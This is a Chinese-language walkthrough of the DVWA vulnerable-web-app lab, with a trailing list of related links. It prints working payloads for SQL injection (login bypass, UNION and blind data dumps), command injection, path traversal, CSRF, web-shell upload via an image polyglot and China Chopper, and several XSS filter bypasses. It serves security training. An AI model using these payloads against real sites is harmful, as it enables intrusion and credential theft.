目录

Brute Force

Command Injection

Cross Site Request Forgery

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS(DOM)

XSS(Reflected)

XSS(Stored)

注意事项


切换难度

Brute Force

(暴力破解)

LOW

首先在里面瞎写个用户名密码抓包

右键单击Send to Repeater(或者Ctrl+r),单击send看看页面回应

再右键单击Send to Intruder(或者Ctrl+i),进入Positions,清空变量,手动选中,按add加变量

进入Options,清空原标记点,手动加入Welcome,因为我做过了所以我知道得加什么(doge)可加可不加,不加可以通过判断长度来验证是否正确

进入Payloads,加入密码字典(建议百度,或者自己瞎写几行密码)

查看结果,得知密码是password,看Response中的Render可以看到成功进入页面

查看源码

$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

裸奔防护,尝试SQL注入

如果错误了会是这样

写入admin' or '1'='1得到以下结果,成功进入

成功的原因是

SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';

中的$user,输进去后会变成'admin' or '1'='1',完成闭合

不难发现只要传入参数是真的就可以返回正常结果

MEDIUM

中等难度的操作过程和LOW难度一模一样,区别就是响应请求有了时间间隔,以及增强了防护

区别在于源码上加了几个函数,挑重点讲

$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

(这么大一串怎么看怎么头大)

isset()函数用于检测变量是否已定义并非空

is_object()函数用于检测变量是不是一个对象

mysqli_real_escape_string()函数用于转义字符串中使用的特殊字符

因此输入admin' or '1'='1无法成功进入

HIGH

抓包,加变量,切换攻击类型为Pitchfork,不一样的是这次有了token值

Token值是个登录令牌,利用 token 值来判断用户的登录状态,类似于MD5(一种加密算法)加密之后的长字符串,用户登录成功之后,在后端(服务器端)会根据用户信息生成一个唯一的值。

获取token值所在位

更改重定向为Always,跟进抓取新的token值,不改这一项出不了结果

进入Resource Pool(控制发送请求的线程数以及请求之间的间隔),设置为1

进入Payloads,第二个payload我犯了个错误,Initial payload for first request那里需要放进抓包时抓到的那个token值(选中token值后可以顺便按下Ctrl+c),否则会导致爆破第一行的有效载荷为空,在下面的结果图可以看到

点击start attack,成功出结果

IMPOSSIBLE

它都叫不可能了那肯定不可能了

这一关是无法攻破的,至于为啥攻不破还让咱打,应该是想让我们看下源码是怎么防护的,暴力破解就到这了

Command Injection

(命令注入)

LOW

输入127.0.0.1提交

试试在有IP地址的情况下执行其他命令,127.0.0.1 && whoami,可以看到底端出现了结果

这一关这样就算过了,可以执行其他cmd命令(当前Windows7系统),如果靶场在linux上可以用linux命令再试试;但是执行其他命令意义不是很大,现实中不太可能出现这种几近裸奔的防护,看看源码

可以看到源码里没有对输入参数作出任何过滤,直接调用shell_exec()函数

MEDIUM

思路与前一关一样,区别在于多了俩符号过滤,试试用127.0.0.1|whoami提交

得到结果,看看源码

可以看到substitutions出对'&&'符号(且)和';'符号(linux下用分号来执行多个命令)作出过滤

HIGH

提交内容与前一关一模一样,直接看源码

一样是针对符号的过滤,如果是带参数的命令就无法执行,比如tracert -h,这个“-”被过滤了就无法识别为参数;能用“|”来绕过应该是故意放水

IMPOSSIBLE

尝试使用前一关的方式,显然不行

Cross Site Request Forgery

(跨站请求伪造)

LOW

首先改个密码提交,这里写password

可以看到url栏里出现了提交内容,这时候可以复制url并将改为自己想要的内容,通常会使用短链接来掩盖原url的内容,这里将密码改为114514

输入短链接并访问后会显示原页面密码已更改,退出输入password会显示密码错误

MEDIUM

使用上一关的方法会出现如下错误

原因是源码中增加了这层防护,判断是否存在域名主机名

用burpsuite抓包可看到正常请求包有一行Referer参数,复制它

开启抓包,在新抓到的请求包里加入刚刚复制的那段

成功修改

HIGH

这个级别加入了token机制,单纯使用CSRF手段已经无法攻破,需要结合XSS漏洞或者使用钓鱼网站,我暂时没有水平写出那么高级的代码,先咕了,日后补全

IMPOSSIBLE

这个级别还加入了二次验证,即修改密码的同时还需要输入原密码,这种情况下,由于攻击者不知道账号原密码,无法实现攻击

File Inclusion

(文件包含)

LOW

点击file1访问,可以看到url栏里写着文件名

尝试写个盘符

可以看见报错,尝试使用通配符访问相对路径下的其他文件,看见回显,访问成功

查看源码,简洁,干净(没有防护)

MEDIUM

直接看源码,增加str_replace函数过滤掉“http://”、“https://”、“../”和“..\”

这里采用双写绕过,意思是原本是“../”,在俩点中间加个“../”,即“..././”

HIGH

直接看源码

这一关进去后url里显示访问的是include.php,源码里增加一层判断条件,要求只有文件名是带file的且不能和include.php同名才可以访问,那就直接在绝对路径前加个file//,成功访问

IMPOSSIBLE

这一关给四个页面文件都添加了白名单,访问其他页面都会报错

File Upload

(文件上传)

LOW

直接写个一句话木马上传,可以看到直接上传成功

运行中国菜刀连接一句话木马(路径名不能写错,中间语言类型选php),url栏右边写口令114514

添加后双击该项,进入后右键更新缓存,可以看到直接进入网站后台

MEDIUM

这一关增加了文件类型限制,只允许jpeg或png格式的文件上传,准备一个一句话木马,改后缀为png,开启抓包,将包里的文件后缀改为php(图片内选中那行),然后关闭抓包

成功上传

连接菜刀,进入后台

HIGH

这一关增加了对图片大小限制,检验文件头,意思就是必须有图片成分,事先准备一张png图片(画图画个表情保存放桌面),这里用3.png;准备一句话木马文件,这里用上一题的文件v2.php,执行命令copy 3.png/b+v2.php/a v3.png

成功上传

但是图片又没办法作为一句话木马运行,想办法改后缀,联动前面几关的命令注入,刚好能用,在里面输入127.0.0.1|move ../../hackable/uploads/v3.png ../../hackable/uploads/v3.php,提交(结果乱码了,版本不一样将就下),成功修改后缀

使用菜刀连接,口令和上一关一样(1919810)

进入后台

IMPOSSIBLE

没有上传漏洞了,加密文件名,带token值,还有好多项防范措施(我看不懂)

Insecure CAPTCHA

(不安全的验证码)

LOW

因为验证码系统需要翻墙,这里上不了谷歌就没办法使用验证码系统,以绕过验证码系统实现相同的目的;但是默认情况下DVWA/config目录下的config.inc.php内的这俩行的俩单引号内容是空白的,写上俩相同的字符串就可以避免报错

$_DVWA[ 'recaptcha_public_key' ]  = 'ysxb';
$_DVWA[ 'recaptcha_private_key' ] = 'ysxb';

开启抓包,输入密码114514两次,然后提交,将选中行的step改为2,关闭抓包

修改密码成功

查看源码,step参数的判断本应该在同一个分支里,这里被拆分成了俩,因此输入step=2的时候会走第二个判断分支里的执行语句,即只判断两次输入密码是否相同,防护薄弱

<?phpif( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check CAPTCHA from 3rd party$resp = recaptcha_check_answer($_DVWA[ 'recaptcha_private_key'],$_POST['g-recaptcha-response']);// Did the CAPTCHA fail?if( !$resp ) {// What happens when the CAPTCHA was entered incorrectly$html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";$hide_form = false;return;}else {// CAPTCHA was correct. Do both new passwords match?if( $pass_new == $pass_conf ) {// Show next stage for the userecho "<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre><form action=\"#\" method=\"POST\"><input type=\"hidden\" name=\"step\" value=\"2\" /><input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /><input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /><input type=\"submit\" name=\"Change\" value=\"Change\" /></form>";}else {// Both new passwords do not match.$html     .= "<pre>Both passwords must match.</pre>";$hide_form = false;}}
}if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {// Hide the CAPTCHA form$hide_form = true;// Get input$pass_new  = $_POST[ 'password_new' ];$pass_conf = $_POST[ 'password_conf' ];// Check to see if both password matchif( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the end userecho "<pre>Password Changed.</pre>";}else {// Issue with the passwords matchingecho "<pre>Passwords did not match.</pre>";$hide_form = false;}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?> 

MEDIUM

和上一关一样的方法,区别是源码里增加了验证码状态的条件,要增加参数passed_captcha=true

HIGH

这一关俩步合成一步了,没法通过修改step参数来绕过,并且增加了验证用户代理是否等于reCAPTCHA,g-recaptcha-response的值是否等于hidd3n_valu3,若其中一项为否则返回验证码失败,即抓包后修改user-agent参数和g-recaptcha-response参数,如图

IMPOSSIBLE

token值,防csrf,转义输入字符防sql注入,第三方验证码参数则采用封装形式,无法猜测

SQL Injection

(SQL注入)

思路:判断是否存在注入并判断存在的注入是什么类型→猜测回显字段数→获得回显位置→获得当前数据库名→获得数据库内数据表名→获得数据表内的字段名→获得数据

主要语句:查全部库名,当前库名,所需表名,所需列名

--查所有库名
SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;--查当前库名
SELECT DATABASE();--查所需表名
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE();--查所需列名
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME="所需表名";

LOW

输入1提交,看到正常结果,尝试判断是否存在注入点

输入1',看到报错提示

再依次输入1' and '1'='1,1' and '1'='2,看到2的结果不显示,判断注入类型为字符型,如果输入单引号而不报错的话大概率是被过滤了,这里存在没有过滤的可能性

 

猜测回显字段,输入1' order by 2 #和1' order by 3 #,输入第二句时报错,只有俩回显字段

获得回显位置,输入1' union select 1,2 #

获得当前数据库名,1' union select 1,database() #

获得当前数据库内数据表名,输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #,获得表名为guestbook,users,显然我们当前使用的表是users表

获得users表内的字段名,输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' #,从诸多字段中判断出我们所需的字段名是用户名和密码,即user和password

获取数据,输入1' union select user,password from users #

MEDIUM

这一关通过post方式传参,没法通过平常手段注入,使用burpsuite抓包并按下ctrl+r传送至repeater,关闭抓包

判断注入类型,分别输入1' and '1'='1,1 and 1=1,看到前者报错,可以猜测为数字型注入

猜测回显字段,猜出回显字段有俩

获得回显位置

获得当前数据库名

获得当前数据库内数据表名

获得users表内字段名,这一行太长看不到全部,更换了一下视图;由于这一关对单引号进行了过滤,所以where条件只能用十六进制的ascii值来查询,0x表示16进制,users每个字母对应十六进制ascii值为7573657273,合起来就是table_name=0x7573657273

获得数据

HIGH

这一关将输入栏弄到了二级网页内,通过二级网页传递参数显示结果在一级网页上

尝试输入1',报错,不显示错误信息

输入1' and '1'='2 #,同时测试数字型和字符型注入点,没有报错,可能存在字符型注入点

(如果存在数字型注入点,会出现First name,Surname,但内容为空白)

输入1' #测试,返回输入1时的结果,确定是字符型注入点,后面的操作流程和low那关一样,不霸占文章长度了

IMPOSSIBLE

这一关等我看得懂是怎么防护的之后再回来补上分析(前面的相同难度也一样)

SQL Injection (Blind)

(SQL盲注)

盲注的返回结果只有正确与错误,手工注入的话就稚嫩一步一步每一个数据都猜一遍,使用脚本的话能高效很多

LOW

判断注入类型

输入1 and 1=1,返回是

输入1 and 1=2,返回是

输入1' and 1=1 #,返回是

输入1' and 1=3 #,返回否,猜测为字符型注入漏洞

输入1" and 1=1 #,返回是

输入1" and 1=3 #,返回是,可以肯定是单引号注入,单引号真假两种结果返回的结果是不一样的,而数字型和双引号测试真假两种结果都是一样的

猜测数据库长度,完整过程是二分法判断长度,这里直接把猜测结果写上

1' and length(database())=1
1' and length(database())<5
1' and length(database())=4

猜测数据库名称,不过不猜也知道,dvwa,依次猜测出四个字母的ascii值(十进制),完整过程是挨着字母表一个一个搜,26个字母,太长了,直接写结果

1' and ascii(substr(database(),1,1))=100 # d
1' and ascii(substr(database(),2,1))=118 # v
1' and ascii(substr(database(),3,1))=119 # w
1' and ascii(substr(database(),4,1))=97 # a

猜测数据库内表的数量

1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #

是,得出dvwa库里有俩张表

猜测数据库内表名长度

1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=9 # 猜测出第一个表格长度为9
1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5 # 猜测出第二个表格长度为5

猜测数据库内表名

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # 猜测出第一张表第一个字母是g
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117 # 猜测出第二张表第一个字母是u
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=115 # 猜测出第二张表第二个字母是s
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))=101 # 猜测出第二张表第三个字母是e
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))=114 # 猜测出第二张表第四个字母是r
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),5,1))=115 # 猜测出第二张表第五个字母是s

猜测users表内字段数

1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' )=8 # 猜测出users表内字段数有8个

猜测users表内字段名字长度

1' and length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1))=7# 猜测出第一行字段名长度为7
1' and length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 1,1))=10# 猜测出第二行字段名长度为10
1' and length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 2,1))=9# 猜测出第三行字段名长度为9
1' and length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1))=4# 猜测出第四行字段名长度为4
1' and length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 4,1))=8# 猜测出第五行字段名长度为8
1' and length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 5,1))=6# 猜测出第六行字段名长度为6
1' and length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 6,1))=10# 猜测出第七行字段名长度为10
1' and length((select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 7,1))=12# 猜测出第八行字段名长度为12

猜测8个字段的名称,猜测用户名字段的开头是u(user/username),密码字段开头是p(password/passwd)

猜出三个字段开头符合

1' and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1),1,1))=117# 猜测出第一个字段为u开头
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='dvwa' limit 3,1),1,1))=117# 猜测出第四个字段为u开头
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema='dvwa' limit 4,1),1,1))=112# 猜测出第五个字段为p开头

结合三个字段各自的长度猜测其全名

1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user_id')=1 # 猜出含有字段名为user_id,符合第一个字段长度为7
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 # 猜出含有字段名为user,符合第四个字段长度为4
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 # 猜出含有字段名为password,符合第五个字段长度为8

猜测数据内容,由于密码采用加密方式存储,用户名可以用前面的方式猜到,但是密码只能用字符串去加密然后一个一个试,以手工方式实在过于复杂,这里知道答案是用md5加密过的password

MEDIUM

这一关对字符进行了转义,where子句内的字段='内容',两个单引号都会被转义成‘\’,子句条件需要使用16进制ascii值,并且提交内容被限定为下拉框;这里要用burpsuite抓包并送去repeater来实现,这一关的注入不需要构造单引号闭合,直接提交1 and 猜解语句,剩下的猜解内容与上一关的语句没有区别

HIGH

使用二级页面传参,防止自动化注入的步骤,操作内容和low级别一样

总结前面三关的sqlmap注入方法:

low难度

使用sqlmap输入以下指令,测试网站已有的漏洞类型,这里有布尔盲注,报错注入,时间盲注三种漏洞

cookie值通过burpsuite抓取,--dbs为database简写,这里是获取全部库名

获取dvwa下全部表名,-D dvwa指定dvwa库,--tables指全部表

获取users表内全部字段名,-T users指定users表内,--columns是指获取全部字段名

获取数据,-C user,password指定这俩字段,--dump 导出数据,这里要等8分钟左右才会出结果(这用手工注入就是找罪受)

medium难度

加入data参数,因为是post方式,不能将提交参数写在url栏里,--batch是以默认方式执行,不用手动一路按y和回车,后面导出数据的参数和前一关一样

high难度

这一关采取二级页面,用二级页面提交输入内容,这里-u参数里的url要写二级页面的url ,         而--second-url要写一级页面的内容,也就是dvwa页面,cookie依然从burpsuite中抓取,和medium一样要用data参数,高等级要等比较久,操作流程都一样

IMPOSSIBLE

让我先咕了,知识盲区总结不了

Weak Session IDs

(弱会话IDs)

这一关dvwa可能是想让我们了解一下cookie生成的措施,但是1.10版本好像没有做好这一关,日后有空我再更新一下靶场然后补全这一关

LOW

点一次generate就给dvwaSession加1

MEDIUM

使用时间戳来组成dvwaSession

HIGH

这关出bug了,上次做的是low它就跟着low是数值,做的medium就跟着medium是时间戳

IMPOSSIBLE

这关直接连dvwaSession都没了,先跳过

XSS(DOM)

(跨站脚本攻击DOM型)

LOW

点击submit,发现选项直接在url栏里显示,尝试xss,输入<script>114514</script>,成功显示

MEDIUM

分析源码,源码把'<script'过滤了,尝试另外一种Payload,闭合option和select标签

输入</option></select><img src=1 οnerrοr=alert('1919810')>,成功显示

提交后代码运行结果是这样的,标签值输入一次,标签的内容也输入一次

HIGH

这一关服务器给option标签的值添加了可用值列表,即不在选项列表内的值都会被重置为默认值,但是option标签内容并不生效,这个问题可以靠一个#解决

查看运行后的代码,可以看到English#后的Payload成功运行

IMPOSSIBLE

过滤,转义通过后端运行,具体运行方式我也不知道,暂且跳过

XSS(Reflected)

(跨站脚本攻击反射型)

这一关走一遍完整流程,DOM写的有点匆忙

LOW

输入字符<>'"233

找到字符显示的地方

输入Payload测试

MEDIUM

输入字符<>'"233,看起来和前一关没区别

输入Payload测试,发现script标签被过滤了,尝试把部分字母大写

原因是这关对script这六个小写字母进行了过滤,注意看url栏

HIGH

测试特殊字符,正常

构造Payload,失败,没法使用script标签来xss了,源码是使用正则表达式把<script>标签整个都限制了

使用<img>标签测试,成功绕过

IMPOSSIBLE

加了token,其他的我也没看懂,还是咕了

XSS(Stored)

(跨站脚本攻击存储型)

LOW

直接输入payload,可以看到每次进入页面都会运行一遍alert

MEDIUM

这一关对message里进行过滤转义等操作,但对name只过滤了<script>,所以直接在name里进行xss,找到name的设置,把长度限制改大点,然后双写script,<<script>script>alert('smbwd')</script>

HIGH

这关仅仅对name里的<script>用正则表达式过滤了一遍,用前面的img的payload

IMPOSSIBLE

源码属实有点多,有空再把分析写下来

注意事项

  • 靶场版本是1.10,存在的bug略多,部分关卡无法正常运行
  • 本来是想将文章分为12篇的,但是感觉又太水了,于是有了现在这么长一篇,我一修改就卡三四秒
  • 请搭配旁边目录跳转来翻页,滚轮滚到明年才能到你要的地方
  • 文章要是消失不见了,那就是我设为仅自己可见在更新了,因为发布后就没法在草稿箱里写到哪保存到哪了

DVWA靶场过程整理相关推荐

  1. DVWA靶场——下载与安装(全)

    下载地址 GitHub地址:https://github.com/digininja/DVWA 靶场介绍 DVWA是一款适合入门渗透测试的靶场,用来学习和熟悉技术所用到的,所以包含的漏洞类型比较全面, ...

  2. 【CSRF02】跨站请求伪造——DVWA靶场实操(含CSRF+XSS协同攻击实验)

    目录 1 实验简介 1.1 实验目的 1.2 实验环境 2 Low难度 2.1 前戏 2.2 实验步骤 2.3 代码审计 3 Medium难度 3.1 前戏 3.2 实验思路 3.3 方法一:诱导点击 ...

  3. dvwa靶场的简单练习

    此文章仅为记录自己打靶场的过程 一.dvwa靶场的搭建 (1)phpstudy的下载安装以及配置 下载phpstudy,官网链接:小皮面板(phpstudy) - 让天下没有难配的服务器环境! (xp ...

  4. fortify+DVWA靶场和动态IAST审计JAVA靶场

    工具下载地址 Fortify介绍 Fortify 其实是Micro 公司开发的一款AST(应用程序安全测试)产品,它包括: Fortify Static Code Analyzer 可以成为静态代码分 ...

  5. Ubuntu 20.04 搭建 DVWA 靶场

    文章目录 0x01. 前言 0x02. 系统和靶场信息 0x03. 具体安装配置过程 0x01. 前言 之前写过在Kali 上搭建 DVWA,因为Kali上已经预装了很多软件和依赖,所以比较方便,最近 ...

  6. Linux Podman安装DVWA靶场环境

    一.DVWA靶场环境简介 1.DVWA一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范 ...

  7. DVWA靶场通关笔记

    文章目录 Brute Force 暴力破解 Low Medium High Impossible 防护总结: Command Injection 命令注入 危害: Low Medium High Im ...

  8. 0 基础在 Ubuntu 下安装 apache2 + mysql +php,建立 DVWA 靶场环境(基于 php 开发的网站)

    up 该教程存在一定的缺陷,是 up 在安装过程中遇到的一些问题,由于没有使用 phpstudy,因此这个可能对于新手来讲不太友好 1. 首先我们进行的是 apache2 的安装 1. 首先我们应该安 ...

  9. 结合pikachu和DVWA靶场学习文件包含漏洞

    结合pikachu和DVWA靶场学习文件包含漏洞 基本概念 包含的定义 文件包含的定义 相关函数 条件 分类 本地文件包含(Local File Inclusion,简称LFI) 定义 前提: 示例: ...

最新文章

  1. 『求助』请求服务器超时或失败问题
  2. ASP.NET把DataTable转成XML文件的函数
  3. 【整理】ABAP 7.40新特性介绍(上)
  4. 给初学者们讲解人工神经网络(ANN)
  5. Educational Codeforces Round 41(已补D,E)
  6. C++使用Windows API CreateMutex函数多线程编程
  7. 宽量程电压电流 stm32_万用表你只会量电压电流?史上最全万用表手册,这么做你不会烧表...
  8. Sentinel(十八)之注解支持
  9. Hive之函数与自定义函数
  10. 员工踩点上下班被HR约谈,网友:按时上下班,天经地义
  11. java word流_(word)java中字节流示例.doc
  12. react的单文件编写方式
  13. 【2021杭电多校赛】2021“MINIEYE杯”中国大学生算法设计超级联赛(2)签到题5题
  14. el-input 输入框的正则
  15. Win10休眠后蓝牙键盘无法唤醒怎么办?
  16. 量子计算到底是什么?
  17. OpenStack部署及创建云主机实例
  18. 如何给卫生间的墙砖打孔,避免瓷砖开裂?
  19. python初中必背语法_全初中必背英语语法知识汇总
  20. Java中比较数字的大小

热门文章

  1. 名人和凡人差别在什么地方
  2. 新员工从公司的git上下载代码步骤:
  3. 商业图表软件--SmartDraw 7
  4. VBA While Wend循环
  5. jdbc-01入门操作-实现对单表的CRUD操作和单元测试
  6. 第28节 防火墙基本知识、工作原理及工作模式
  7. 骇客训练营 —— 网络安全基础篇 (1)虚拟机中关于隐藏文件的扩展名的相关问题
  8. ArchLinux 安装导航
  9. 【SEO工具】抓取百度关键词相关关键词挖掘工具
  10. 小米RE管理器root explorer基础操作教程(转载)